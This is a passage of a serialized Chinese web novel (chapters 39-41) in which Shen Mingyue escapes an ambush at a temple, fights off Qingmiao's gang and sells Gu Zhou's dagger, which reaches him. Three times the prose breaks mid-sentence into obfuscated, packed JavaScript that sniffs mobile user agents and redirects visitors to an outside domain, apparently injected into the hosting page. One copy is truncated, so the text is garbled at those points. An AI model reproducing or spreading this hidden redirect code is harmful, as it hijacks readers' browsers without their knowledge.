她对这夫妻两人没什么好感,笔下便潦草了些,却歪打正着,令王夫人以为她是故意模仿自己的字迹,好让菩萨看到自己的恭敬。 但菩萨俯视众生,怎么会看不到这谎言。 不过话说回来,若真有菩萨渡众生,这世间怎还会有疾苦,不过都是精神寄托罢了。 她编了谎解释道:“是我特意模仿夫人的字迹。” “你道是有心,怪不得王夫人赏你。” 清妙这话里有话,沈明月一门心思在抄经上,此时才明白对方的意图,赶紧拿出一个布包送上。 “客气了,客气了!” 清妙接过揣进袖袋里,悄悄掂了掂,脸上刚起来的笑意又消散下去,但也不好说什么,甩着手离开了。 沈明月没有注意到她的不满,翻了翻剩下的经文,今日努努力便可完成。 她如此着急,是因为已生出了离开的念头。 睹滴水知沧海,观一隅见全局,今日王家来人众多,王老爷竟能在众多眼线的缝隙中偷欢,焉知不是寺中包庇,或许这便是庙中秘隐,是领导者的默许。 本该是最干净的地方却有着最卑劣的污浊,她恨不得现在就下山去。 沈明月走出经堂时已是黄昏十分,暮鼓声在山谷回荡,空气中弥漫着香火与禅意,金色的余晖洒在大殿的金顶上,怎么看都是一派祥和安宁,殊不知,在阳光照不到的地方,尽是人性的丑恶。 她回到住处,边等莺儿边收拾东西,可直至天完全黑下来,也不见莺儿的踪影。 正焦急之时,有个小尼姑前来送信:“你妹子在后山摔倒了,快去看看吧!” 39. 暗算 寺庙后山在客房之后,山势略陡,一条通往山顶的羊肠小径隐在山林之下。 今夜月明星稀,树枝间漏下的月光,稀疏如残雪,与枝丫的暗影杂糅交错,一切都是那么明晰。 沈明月只顾快走,也不知后面的小尼姑没跟上,直至问话无人回应时才发觉。 回望寺庙,灯火烁烁尽数映入眼底,而周遭却是偏僻荒凉,她不由得心中咯噔一下。 转念一想,惑莺儿怎会到这偏僻之处?会不会是那小尼姑看错了? “莺儿?莺儿?” 她不死心地呼唤了几声,无人回应,却惊动了几只鹧鸪发出警惕的鸣叫,尖锐的声音在寂静的山林间回荡,恐怖在黑暗中露出狰狞的獠牙。 不好,有诈! 她内心恐慌,不祥的预感如潮水般铺天盖地涌来,立即转身下山,脚下深深浅浅,每一步都像是踏在自己的心脏上。 还没走出几步,身后突然伸出两条胳膊将她紧紧抱住,令她头皮一阵麻木。 紧接着,轻佻的声音中夹带着一股酒气,在耳后响起:“呦~乔姑娘,你可算来了,让我等得好生辛苦。” 受到突袭,激起了沈明月的条件反射,一个过肩摔,将人狠狠摔了出去。 男子被甩到三尺之外的碎石上,大叫一声后捂着后腰“诶呦”起来,十分惊讶这个柔弱的女子怎么有股子牛劲。 也并非沈明月力气大,只是紧急情况下激起了她强大的爆发力,待将人摔出去后,她只觉浑身肌肉紧绷,额头上渗出一层细密的冷汗,后背冷飕飕地冒着凉风,手下意识地握紧了腰间的匕首。 方才那小尼姑来送信时,她正将准备将匕首放进包袱里,因出来的急便随手带在了身上,没想到竟派上了用场。 仓促间,一个小厮从树后跳出来,扶起地上之人,顺手整理掉衣摆上的草叶,之后对沈明月骂道:“不知好歹,也不看看是谁!” 男子借着小厮的力站稳,自己也整理了衣衫,尽力保持着一份从容,可声音中带上一丝邪淫,“有点意思。” 这声音十分熟悉,沈明月仔细分辨,才知是那王老爷,知道此人品行不端,心下暗道不好,需快快摆脱他们,逃离这里。 不知怎的,她脑中出现了在营州河边被顾洲用剑逼迫的那一幕,那时她装柔弱倒是没让顾洲杀了她,可这次对方是恃强凌弱之人,绝不可再用这一招。 面对这样的人,只有显示出自己的强大,让对方惧怕,才有一线生机。 她缓缓扬起头,目光似两道利剑,仿佛要刺穿两人的身躯,声音中是低沉的愤怒,“无耻之徒,竟意图不轨,诓骗我到此,快快将路让开。” 可她终究是个女子,声音发柔,再怎么狠厉也没有当时顾洲对她说话时的那股气势。 王老爷看她这样子,不像是自愿而来,而与清妙谋划时,只说探探口风,没想到清妙竟然直接将人哄骗了来,这倒是超出他的预料,也没想到这女子身形如弱柳,性子却刚烈。 可他是何等人物,浮花浪蕊中游走了这么些年,什么样的女子没经历过,只当她是恼怒,坚信她会终会为自己的魅力所折服。 于他而言,倘若对方就这样屈服,反倒没了意思,要这样抗争一番才有乐趣,于是饶有兴致地说道:“姑娘既然来了,何必着急回去,同爷们耍上一耍,将本大爷伺候好了,自然不会亏待你。” 说着想去亲近佳人,却又因摔那一跤心有顾虑,便推了推身前的小厮。 小厮也胆怯,但又不得不服从,搓了搓双手撸起袖子,露出一个猥琐的笑容,上前去欲捉沈明月。 沈明月一个箭步,拳头带着风声,朝着来人的面门重重砸去,之后揪住衣领,用膝盖迅猛地顶向他腹部,小厮来不及反应,心窝处又被狠狠踹了一脚,身体不受控向后倒去,不偏不倚将王老爷压在地上。 二人又“诶呦”起来,小厮疼狠了,捂着肚子大喊大叫,王老爷立即连推带搡地将人推开,小声喝斥他别出声。 沈明月看出他的意图,毕竟是鬼祟之事,若吵嚷的人尽皆知,这脸面又如何要得! 同样她自己也不想闹出人命来惊动官府,以对方的权势,自己不会有好果子吃,更何况她现在也不能暴露身份,故而刚才没有动武器。 但也不能轻易饶过他们,还要让他们知道自己的厉害。 于是拔出匕首,刀刃在月下一闪,光芒反射在王老爷眼睛处,吓得他双眼紧闭,浑身战栗。 良久未见动静,睁眼一看,但见匕首已置于下颌处,而旁边的小厮一动不动,不知是装晕还是真的晕了过去。 他吓得嘴唇抖了两下,脖子向后缩着,颤颤巍巍地求饶道:“女侠饶命,女侠饶命……” 沈明月半张脸隐在树影,面色如铁,神似南方增长天王魔礼海,双眼犹如两团来自地狱的幽火,透出要将一切罪孽燃为灰烬的决绝,恨声质问道:“今日到底怎么回事?如实讲来!” 王老爷好似被这压迫感束缚,良久才深深吸口气,一股脑将如何与清妙密谋之事交代出来,而后还不忘为自己辩护:“我只让这小娼妇问问女侠的意思,不想她直接将女侠骗上山来,我实不知其中缘由,因而唐突了女侠,女侠要报仇也要找那娼妇报呀……” 他一口一个“女侠”,言语间满是巴结,将责任全部推到清妙身上,只求对方能放过自己一马。 “如此说来,这其中有误会?” 沈明月说着,将匕首刃贴着王老爷的脖颈移动到耳垂处。 白刃的冰冷,如三九天刺骨的风,令王老爷筋骨瑟缩,心跳急促起来,大滴大滴的汗珠顺着鬓角流下,但却屏住呼吸不敢有半分动作,眼珠随着匕首移动,但见尖端朝下,骤然沉没。 “唰”! 闷雷似的声音穿透耳膜,直击天灵盖,令王老爷瞳孔骤然紧缩,面色如土,惊恐的表情凝固在脸上,如死鱼一般大张嘴巴一动不动。 “但此事也是因你的邪念而起!若有下次,犹如此袖!” 沈明月说完将匕首从土中拔出,随手一划,色鬼的袖子便断下一截。 尾音无限拉长的“嗤”响声,成了压垮王老爷的最后一根稻草,他两眼一翻,昏死过去。 沈明月站起身来,冷冷瞥着两具停尸,不屑地轻哼一声,嘴角挑起讥笑,外强中干的人,原来这样不堪一击。 然而她再怎么坚强,心中也是怕的,一路小跑下山,脚下滑溜,接连摔了两次,却顾不上疼痛爬起来继续跑。 到了住处,只见里面亮着灯,莺儿已然回来了。 想到自己毫无防备,这样轻易就中了清妙的圈套,她的怒气中带上了怨气,一把将门使劲推开。 “咣当”一声,惊得正在桌前剥烤栗子的莺儿站起身来。 沈明月被各种情绪压抑得喘不上气来,见到莺儿一脸茫然,再也忍不住脾气,怒问道:“你去哪里了?” “我……” 莺儿不明所以,心中委屈,眼泪在眼眶中打转,小心翼翼地走过来,只见姑娘浑身失是土,右手握着匕首,左手攥着一截布料,面色苍白,身体还在微微颤抖。 她没有解释而是带着哭腔:“姑娘,发生什么事了?” 随后关好门,扶着姑娘坐下,想将姑娘手中的东西拿出来。 可沈明月的拳头却攥得很紧,她刚才凭着一股勇气逞强,现在离了险境却还未松懈。 莺儿慢慢地打开她冰冷的手指,又倒了一碗水送上。 沈明月惊魂未定,端起碗大口大口地将水喝个干净,闭眼平复着气息。 待莺儿得知姑娘的遭遇,气得将桌上的烤栗子全扔了出去,擦了擦眼泪说道:“我说这清妙今日怎么这殷勤,拉着我烤栗子,原来是存了这险恶的心思,也怪我贪嘴,害得姑娘遇险。” “让我缓一缓,你去收拾东西,明天一早下山。” 沈明月一口气吩咐完,无力地趴在桌上,刚才的噩梦如幽灵一般在周身环绕,使她难以平静。 指尖无意间触到了那把匕首,她下意识地握住,竟然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15549190|167945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从上面感受到一阵温暖与力量。 暖黄色的灯光为匕首的外鞘镀上一层柔和,全然不见了月光下的凄清凛冽,好似在对她无声地安慰。 往事却一幕幕浮现在脑中,竟然是关于顾洲的,就像刚才紧急之下,首先想到的也是顾洲一样。 可为什么会这样?她想了一下,认为应当是这把匕首的上一个主人是顾洲的缘故。 此刻回忆起顾洲,她没有愤怒,没有悲伤,也没有恨意,就好似一个曾经共患难的朋友,最终不欢而散,剩下的唯有遗憾而已。 的确,在时间面前,一切终将释怀。 莺儿收拾好东西,打了水服侍姑娘洗漱,口中犹有抱歉:“都是莺儿的错,莺儿以后再也不会擅自离开姑娘了。但是姑娘,咱们就这样离开吗?” 沈明月也有些后悔,莺儿无辜,不该迁怒于她,带着歉意说道:“是我太冲动了,也怪我大意中了她们的计。我明白你的意思,但是咱们现在都处境,不是她们的对手,现在银钱也够用一段时间,咱们还是按原计划行事。” 安稳的生活,几乎让莺儿忘了她们还是“逃犯”这个事实,现在想起来,忧愁便又爬上了她的眉梢。 吹灯安歇,沈明月没有睡意,顾洲的面庞在脑中挥之不去,他嘴角上的笑意,眉眼间的忧愁,眸光中的坚定,一切都是那么明晰,她甚至似乎能嗅到他周身那股淡淡的茉莉香气。 不过,这好像是思念。 不对,应该继续恨他。 她忽然觉得有些想哭,但又觉得哭泣会让自己显得懦弱,懦弱不该出现在她的字典中。 于是控制着自己不要去想,可梦中又回到了那个曾经避难的矿洞,任凭外面风吹雨打,里面却是温馨宁静。 火堆忽明忽暗,映照着顾洲满脸的担忧,他就坐在那里,嘴唇贴上怀中女子的额头。 这一幕令她有些不大高兴,下意识靠近,却见那女子竟然和自己有一样的面容。 怎么会这样?沈明月心中一颤,猛然惊醒,天已大亮。 真是个奇怪的梦,惊讶之余是怅然若失,心中空落落的不知所措,但她很快就走出这情绪,管它呢,一个梦而已。 叫起莺儿去用早饭,又向慧明师傅辞行后分头行动,她去监院寥结算,莺儿回住处收拾铺盖。 在监院寥外等了许久才让进去,微胖的监院慢悠悠地扒拉着算盘,看得沈明月心急,忍不住问道:“敢问师父何时能算好。” 她自认已经很有礼貌,可那监院头都没抬,清空了算盘,重新计算起来。 沈明月不好意地笑笑,手掌却在衣袖中握成拳,将不满封印在其中。 终于等到计算完毕,那监院却没有报价,而是吩咐一个小尼姑先去客房捡点物品是否有损坏,再去十方苑和经堂问问有没有未结算的账目。 那小尼姑行合十礼口中称“是”,慢悠悠地去了。 真是有什么样的师傅就有什么样的徒弟,沈明月重重地叹息一声,来表达自己的不悦,但那监院好似没听见一般,不急不躁地忙着手中的事务。 少不得又是一番烦躁地等待。 一个时辰后,账目单终归是面世了,沈明月痛快地交了钱,小跑着去偏门处与莺儿汇合。 出了庙门,沈明月顿觉周身轻松,她舒展双臂,沐浴在温暖的阳光下,整个人似乎要飘起来。 下山的路轻松愉快,莺儿摸了摸腰中的银钱,带着些期许道:“姑娘,下山后能不能买半只烧鸭,咱们都好久没开荤了。” 沈明月看着莺儿的委屈样,才发觉她终究还带着孩子气,于是忍不住笑道:“买一只,一大只,吃饱喝足后再出发。” “好,好!”莺儿高兴得几乎要跳起来。 这条路原是为了方便寺庙中的杂役行走而修的,狭窄处也只能容一人通过,但也不妨碍二人下山的速度,说笑间已行至转弯处,再向前走一段便可与大路汇合。 可转过弯来,却见三个尼姑手持木棍,好似拦路虎一般将前路堵个严实。 40. 无路 中间站立之人正是清妙,右边一个小尼姑,沈明月记得是昨晚来报信之人。 清妙脸颊有些浮肿,远远看去像是发起来的面,她今早刚醒,就被王老爷叫了出去,原以为是昨晚的事成了,王老爷要给赏,便胡乱擦了把脸,兴冲冲前去。 到了却见王老爷一副狼狈像,就知他没从沈明月身上讨打便宜,正欲逢迎安慰几句,不料被小厮一把抓住,狠狠扇了她几个嘴巴。 王老爷受这一遭罪,心中憋闷,将一肚子屈辱尽数发泄到她身上,扬言要将她买到窑子中,她好生求饶一番,伏低做小说了一车讨好的话,才哄得王老爷下山去。 此事有现在这个结局,一点也不冤枉她,原本她是想先问问沈明月的意思,但因沈明月未将王夫人的赏银孝敬给她,她心生不满,生出这害人的计谋,不想偷鸡不成蚀把米。 她又将过错归咎于沈明月的不识抬举,怒气冲冲地去寻人,却得知二人刚刚下山去,恶气未出,怎能就此罢休,立即招呼同党持木棍经山门大路而来,到此围堵。 见到沈明月姐妹二人开心的样子,她怒气更甚,紧锁着眉头,眼中几乎要冒出火来,阴阳怪气地问道:“你那里去?这寺庙岂是你想来就来,想走就走的?” 沈明月见她这样子,首先想到这人若有头发,想必辫子该是朝天的,也暗猜她是被那王老爷找了后账,看这势头,怕是免不了一场恶战了。 她嘴角浮着冷笑,心中涌起一股决绝之意,眼底的寒芒扫过面前的三人,之后卸下肩头的行礼,示意莺儿靠边站,今日她要佛挡杀佛、魔挡杀魔。 清妙身边的两个小跟班,被这冷静的杀意逼得脚下松动,似乎是想后退。 沈明月先礼后兵,上前一步说道:“我已禀告过慧明师父,结算了账目,如何不能走?” 清妙不知好歹地说道:“与主持说了,却没同我说,你也是个读过书的,应当明白知恩图报的道理,我照拂了你许久,就这样走了不合适吧?” 沈明月:“怎么不合适?我抄经赚的银钱与你五五分,你还有什么不满意!” 清妙本就无理,仗着人多耍起无赖,将棍子往地上一戳,气势汹汹地说道:“将银钱留下,就放你们离开。” 沈明月并不相让:“别贪得无厌!” “都是你这贱人,坏了老娘的好事,给我上!” 清妙说着没了耐心,向“左右护法”使了个眼色,二人一起上前。 眼见两个尼姑上前来,莺儿被吓傻在原地,沈明月早已做好准备,一手接住右边打过来的木棍,俯身躲过左边挥来的木棍。 两招之间,她就探出这二人并不会功夫,手上力气也弱,只是胡乱挥舞棍棒,这倒是好解决,三下五除二便夺下其中一人的棍子,另一人见状,双手紧握棍子,犹豫着继续冲来。 沈明月将棍一挥,轻易打掉了对方的棍子,那人失了武器,后退着想要逃走,被她一脚踢翻在地。 两个小尼姑伏卧地,互相看了看,抬头见持棍之人一步步逼近,吓得战战兢兢,两腿发软,丢下清妙连滚带爬的仓皇逃走。 解决了这两个,还有清妙,沈明月刚想转身,忽觉背后被重重一击,力道之大震得她半边身子发麻,她不受控制地向前闯了两步,但很快努力稳住身形,转身见棍子从头顶上落下,她托起手中棍子扛住,被压得弯了膝盖。 眼前是清妙因愤怒而涨红的脸,只见她大吼一声用尽全力,沈明月的身子又下沉了一些。 莺儿看着二人打斗,只觉得太阳穴突突直跳,担忧越来越甚,逐渐红了眼圈,从前在家时姑娘何其娇弱,连个重物都没提过,如今却能挥动棍棒,天知道姑娘离开这段时间经历了什么,才会变得如此强大。 她沙哑着嗓子叫了几声:“姑娘……” 沈明月寻声一瞥,只见莺儿伏在路上,拖着一条腿向这边爬来,显然是受了伤。 可恶,清妙居然这样心狠手辣,那就休怪她手下无情了。 她再次看向清妙,眼神变得如冰刃般锐利,不知从哪生出一股力气,狠劲一推将清妙推开,之后双手握紧棍棒,棍身如长枪突进,手腕向前,刺在清妙腹部,而后又将棍子横扫,似狂澜席卷,将清妙打倒在地上。 这致命一击,令清妙无法动弹,侧身倒在地上,看着沈明月握着棍子的手指因用力而泛白,吓得她连大气都不敢喘。 沈明月提棍指向她,厉色道:“就凭你们几个,还不是我的对手。” “清妙,你虽然帮我寻了差事,但你也落了不少好处,我劝你适可而止,不要太贪心。你已身皈佛门,却心堕红尘,秽乱寺庙清净之地,实在罪无可赦,但就此改过也罢,若再犯到我手中,我定不会善罢甘休!” 沈明月说完将棍子重重向地上一摔,“啪”的一声断成两节,之后去看莺儿。 看着被摔得粉碎的棍子,清妙恐惧不已,非常后悔来招惹这个女魔头,自己那些龌龊事已经被外人知晓,若真捅到主持哪里,她不死也得丢半条命,于是不敢再开口。 莺儿早已魂不附体,神情迷茫地见姑娘过来,只说右腿十分疼痛,几乎不能行动。 沈明月以为是伤了脚踝,便拿出云霄膏来,挽起裤腿一看,却是小腿处表皮发黑,按压疼痛,她怀疑是骨裂,但又不能排除骨折的可能,需马上就医。 她折了两根树枝,撸掉叶子当夹板,固定在小腿两侧,从包袱皮上撕下两条布,将腿和木棍捆扎起来,之后将人扶起来,带上行礼继续下山。 路过清妙时,见她正看着她们二人,沈明月狠狠瞪了她一眼,她浑身瑟瑟缩成一团,蔫头搭啦脑,似乎再也翻不起浪花。 入城的路还有很长一段,二人互相扶持,行走艰难,临近晌午,还未看见安山城门,莺儿却再也受住疼痛,每行动一下都好似钢针入骨,面色也由红变黄再白,手心不断沁出汗珠,几乎没有了说话的力气。 再看伤处,已十分肿胀,再不能继续前行,正忧愁之际,一个赶车的小哥儿路过,见二人有难,主动提出捎她们一段。 沈明月却将信将疑,这些日子的经历使她不敢再轻易相信别人,一路提心吊胆。 这小哥儿也是热心,直接将她们送到了城中专治跌打损伤的仙芝堂门口。 沈明月感念其恩,拿出几文钱表达谢意,对方却坚辞不受,她不禁心中感叹,这世上还是有好人的。 仙芝堂的刘郎中问清伤情、捏过筋骨之后,露出满意的表情,说道:“姑娘的胫骨裂开,幸而事先将腿固定住,不然走了这么远的路,定会落下残疾。待我开个方子,回去用上几副便可消肿,之后需休息静养,切记万不可走动。” 沈明月更加庆幸没有耽搁时间,连连点头称是:“劳先生费心。” 随后她又忧愁起来,都说伤筋动骨一百天,这下子又走不成了,还需要赁间房屋居住,而且天气就要冷下来,说不好要等到明年开春才能离开。 她暗暗叹了口气,眼下这个情况,着急也没用,且走一步看一步吧。 待她拿到药方付过诊金,又向郎中问了哪里有房屋可租赁。 刘郎中摇摇头:“隔行如隔山,姑娘若问我这药怎样煎服,我倒是能告知一二,可若要租房子,还得要找牙行。” 在他的指引下,沈明月找到了专以此为营生的王三娘。 天上掉下来的买卖,王三娘乐不得地痛快答应,她早已将有房屋出赁的人家记得烂熟,问清对方需求后,说出了几户人家供其挑选。 她原本想带二人去看看,但沈明月不敢将莺儿单独留下,于是选了最近的一家。 这是一处西厢房,屋主一家三口,老两口并一幼子,这屋子原是房主女儿居住,上个月女儿出嫁后闲置下来,想着租赁出去补贴些家用。 二人看了一圈,屋子虽小却也规整,家具器具一应俱全,从布置装饰上来看,主家对这个女儿的养育很是用心。 沈明月见房主夫妻面目不像恶毒之人,对屋子也甚是满意,当即付了一个月租金,将行礼搬入。 住处有了,还需想法过日子,她又多付给王三娘几文茶水钱,央她被介绍份差事。 “好说,好说。”王三娘笑着接过,问道:“姑娘可算找对人了,这安山镇中各大府中招仆役,都是经了我老婆子的手,保证给姑娘找个满意的差事,敢问姑娘户籍在何处?” 待得知二人还是流民的白籍时,她不由得眉心轻拧,有些犯难地说道:“这主家招仆役,需是黄籍才好,这白籍是签不了身契的,不过有的地方倒是不论这些,可也不能让姑娘去呀!” 沈明月虽不懂这个时代的规矩,但也理解她说的话,只有烟花暗门中才肯招白籍的仆役。 此事断不可能,正好她也不愿意签卖身契,回答道:“三娘且慢慢找着,我们也就在这里一两个月,待我妹妹伤好后就离开。” 王三娘思忖着,“那就只能是短工了,可咱先说下,这短工的工钱可不比长工,二位可有一技之长?” 沈明月:“我会写字,她会绣花。” “好吧,我且给你们留意着,时辰也不早了,我家那口子还等着我回去烧饭,先告辞了。” 将人送走,沈明月稍稍收拾一番,就成了一方安稳天地,之后清点银钱,已用去一半。 这西厢房窗户在东面,此时已光线昏暗,透过窗子可见院子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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莺儿的腿伤养了月余,渐渐可下地行走,只是不能吃力。 这日,她绣完了几张帕子,准备给王三娘送去,开门一阵寒气涌进,她打了个喷嚏忙又关上门。 厚衣服已被姑娘穿走,眼见入冬,家里要买炭备冬衣,需要一笔大开支,姑娘找了个后厨刷洗的差事,早出晚归,十分疲惫。 莺儿让姑娘照顾了这么久,心中已是过意不去,不想让姑娘回来后再劳动一趟,便咬咬牙走进风中。 深秋的雨后,潮湿寒凉无孔不入,轻易侵透了她轻薄的衣衫,空气中仿佛结了冰,吸入肺腑后,整个人好似浸泡到了冰水中。 当沈明月拖着两条灌了铅似的腿回来时,莺儿已经开始发热。 真是“屋漏偏逢连夜雨,舟迟又遇打头风”,二人少不了一通延医问药,折腾一宿,莺儿依旧高热不止。 原以为只是普通感冒,可连服几日药都不见好转,莺儿心中也更加愧疚,小声哭泣起来,回想这一路走来,自己似乎是个累赘,心中郁结难解,病情更甚。 “病来如山倒,病去如抽丝,若没有你同我一起,我也坚持不下来,不要多想,安心养病。” 沈明月端了药为其服下,劝慰她宽心,而眼中的忧虑却难以掩饰,好似心中压着沉甸甸的石头。 现在身上只剩下十文钱,又处处需要银钱,以后的日子要怎么办,要如何度过这个严冬。 莺儿日日咳喘,呼吸间有杂音,可以肯定感冒已转成肺炎,在这个医疗条件不发达的时代,这可是要命的病。 即便是这样,她也从未想过要放弃,只要有一线希望,她就会去争取莺儿的性命。 炭盆里的炭火熄灭,再没有炭可以续上,屋中又冷起来,她将手拢在嘴边呵了呵气,半年前,这双柔荑还似玉一般,现在日日沾水又缺乏手脂的滋润,已变得粗粝不堪。 手背上裂开的细小口子隐隐作痛,像是无数只蚂蚁在啃噬肌肤,也啃噬着她的坚定。 白日里,王三娘曾来找过她,要给她说门亲事,男方是离镇子不远的赵家大郎,说见过她一面后念念不忘,若她愿意便立刻来提亲。 沈明月想了半天,才想起此人是那日赶车之人,只觉得荒谬好笑,当即拒绝。 天又阴起来,屋内的晦暗与她内心的不安交织成压抑的网,捆得人喘不上气来,她试图在这样的天气中寻找一丝温暖,可所触之处皆是冷漠的灰暗。。 嫁人似乎是个法子…… 可一开始,她不就是为了从婚姻中逃脱才走到了这一步吗? 难道现在真要屈从于生活,跳入一段婚姻来救命吗? 41. 违逆 一想到这里,突如其来的狂躁如同风暴席卷走心中平静,沈明月立即打消了这个念头,她就不信了,除了嫁人,一定还有别的路可以走。 起身翻箱倒柜,将所有物品清点一遍,其中最值钱的只有云霄膏和那把匕首了。 云霄膏一点也没有浪费,全部用完,剩下的罐子估计也值不了几个钱,那把匕首倒是看上去价值不菲。 当掉匕首,就能救命。 她拿出软布仔细擦拭,希望当铺能估个好价格,指腹轻捻过外鞘上的装饰,茧子与凹凸的麒麟纹相触,发出轻微摩擦音,似钝锉一般,打磨着着她心中的遗憾。 这把匕首,曾在荒芜的暗夜中给了她安稳的守护,曾在突发的危难中给了她忠诚的保护,现在即将发挥它最后的价值,成为她的希望,成为她摆脱绝境的资本。 忽而,她心中生出了十二分的不舍。 匕首外壳被擦得锃亮,上面镶嵌的宝石,光滑的表面流淌着荧光,好似含泪欲滴的美目,故意吸引人再看它一眼,哀求主人再考虑考虑。 可一个物件,怎会有感情,不过是人们赋予了特殊的意义在上面。 可带来这特殊意义的人,已经背叛了友谊,那么这特殊意义就没有存在的必要了。 沈明月将匕首仔细包起来,毅然决然出门而去。 曾经,她以为她与顾洲的友情坚不可摧,这种感觉,在安庆城楼上道别之时到达了顶峰,可现实却脆弱到一击即碎,有人翻脸的速度比闪电还快。 或许,对于顾洲来说,这友谊原本就建立在利益之上,现在她要用金钱来衡量也不为过。 来到上次典当耳坠子的那家当铺,里面的朝奉【1】打开布包便两眼放光,随即赶紧皱起眉来掩饰心中兴奋,反复看了几遍,说了些匕首的瑕疵,最后只给出五两银子的价格。 这价格可关乎性命,沈明月仔细观察着他们的动作,这些小诡计一点也没能逃出她的眼睛。 此前耳坠子当了一两银子,她已是十分后悔没再多走几家,莺儿说那上面的宝石可是波斯的货,最起码值一两半。 她要回匕首,揣在怀中,抬脚要去别处看看。 “姑娘且慢,姑娘且慢。”朝奉着急忙慌地走下一人高的柜台,穿过腰门【2】追到了门口。 “八两,八两怎么样?最高了……” 沈明月看他这急切的样子,心中更有了谱,毕竟是皇子用的东西,怎么会是便宜货,但也不知道多少合适,于是随口开价:“三十两。” 朝奉当即没了热情,眼皮一垂,言语间有些不屑,“二十两?姑娘可真是狮子大开口!还真以为这匕首是金子打的?” “告辞!” 沈明月重重地撂下一句话,头也不回地去寻其它当铺。 而身后的朝奉将手揣在袖中,笃定地对小伙计说道:“瞧着吧,她过会儿就会回来。哼!三十两!我看她是想钱想疯了!” 但事与愿违,沈明月走了四五家当铺后,想通了一件事,典当不如出售。 出售是一次□□易,典当是周期□□易,典当行没有物品所有权,还要承担物品贬值的风险,故而典当的价格要比出售的价格低很多。 这匕首原本也没打算赎回,倒不如直接卖掉,她又走了几家珠宝古玩铺子,最后以十五两的价格卖掉了匕首。 古玩店的掌柜拿着匕首反复赞叹,这装饰、这材质、这做工都是一等一的好,若流通到州府富庶之地,价格会翻上几番。 他兴奋地捧着着匕首来到后院,正好今日东家在,如此好物需交于东家过过目。 敲开房门,伸脖向里探了探,一个不过二十来岁的男子端坐在书案,正听账房先生汇报账目,掌柜不敢多言,站在外间小心等候。 两年前,这青年从原店主家盘下铺子,令安排一位账房先生在此看管常驻,依旧聘他为掌柜。 但看这东家是外地人,少言寡语,不像是买卖人家出身,也未问出为何要来此处开铺子,他心中不禁打鼓,心想这铺子算是完了。 他本想趁着铺子没黄,自己还有些口碑,再去谋份差事,但因新东家言说自己人生地不熟需要他帮衬,又开出了令人心动的薪酬,他便留了下来。 这一留就是两年,铺子开到现在,虽生意平平,却也能维持周转,东家时不时过来一趟核对账目,也鲜少插手柜上生意,店中多一半的事也都由他做主,日子过得十分舒心。 不多时,账房先生抱着账目离开,他立即将匕首奉上,他本以为东家看了会夸赞一番,不料东家的神情却有些错愕,目光在匕首上停留,仿佛在思索什么,问了几句卖主信息后匆匆离去,留下他在原地,丈二的和尚摸不到头脑。 这位东家不敢停留,当即快鞭急马日夜兼程,将匕首送到了营州,交给了他的上级,当朝大殿下的侍卫,海棠。 海棠看着匕首也是一阵疑惑,主上的这把匕首从不离身,怎么会从出现在安山这个小镇中,她立即到大殿内回禀。 此时顾洲正吩咐徐铭将自己的药喝掉。 徐铭看着黑漆漆的药汁,苦味直往鼻子里钻,表情痛苦的为难道:“主上,我的伤早好了,倒是您的伤,三天两头地断药,何时能好?” 顾洲面无表情,“有病治病,无病强身。” “那主上怎么不强强身?您受伤后身子一直不好。” 在顾洲冷冷的眼神下,徐铭不得不闭嘴,端起了药碗一口闷掉,他也知道这是主上对自己放走沈先生的惩罚,他心中也是十分自责,没有安排好沈先生到营州后的事,以致先生生死不明。 而主上的伤未愈,一半是因为不好好用药,一般是因为心结未解。 海棠进殿后,看着二人却不开口,她认定徐铭背主,从此再不曾与他说过一句话,有要回禀主上的事也都有意将他避开。 她面上的凝重,令大殿内的氛围有些沉闷,又有些尴尬,顾洲只得将徐铭支走,她这才拿出匕首。 见匕首如见明月。 顾洲的眼底闪过一丝光芒,甚至疑心自己是看错了,上前接过仔细端详,果然是自己那把,拔出一看,刀刃依旧锋利,看来是经过了十分用心的保养。 他双手微微颤抖,迫不及待问道:“在哪里找到的。” 在等待回答的这一瞬间,心跳好似风中的秋千,慌乱没有规律,期盼着得到答案,又害怕是不好的消息。 “是安山驻点送来的。” 随后海棠将情况一一禀明,但顾洲只听清了其中的一句,“属下怀疑这女子就是沈明月。” 这句话犹如春风吹入亘古寒夜之中,吹化万丈积雪、唤醒沉睡的大地,他身体里似乎有一只鸟儿在欢呼雀跃,庆祝这新生的季节。 她还活着,她在安山。 他高兴得已然失态,面上的笑容怎么也压不下去,吩咐海棠立即去寻人,而自己却不知要如何好,坐也不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15573897|167945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 站也不是。 最终他还是坐到了案几前,将朝中斥责的诏书甩在一边,铺开一道奏折,再次写下退婚的请求。 沈明月离开后不久,他忍着伤痛和心痛写下了第一道退婚奏折,不出意料地被他父皇斥责,但他不在意,这婚必须退。 待安排好北境事宜,离开安庆前,他又写下了第二道退婚的奏折,果不其然,斥责的诏书昨日又到。 若说第一次退婚,圣上看在战功和重伤的份上,没有过多责问,还下了封他为绍王的圣旨来安抚,只待他归京受封。 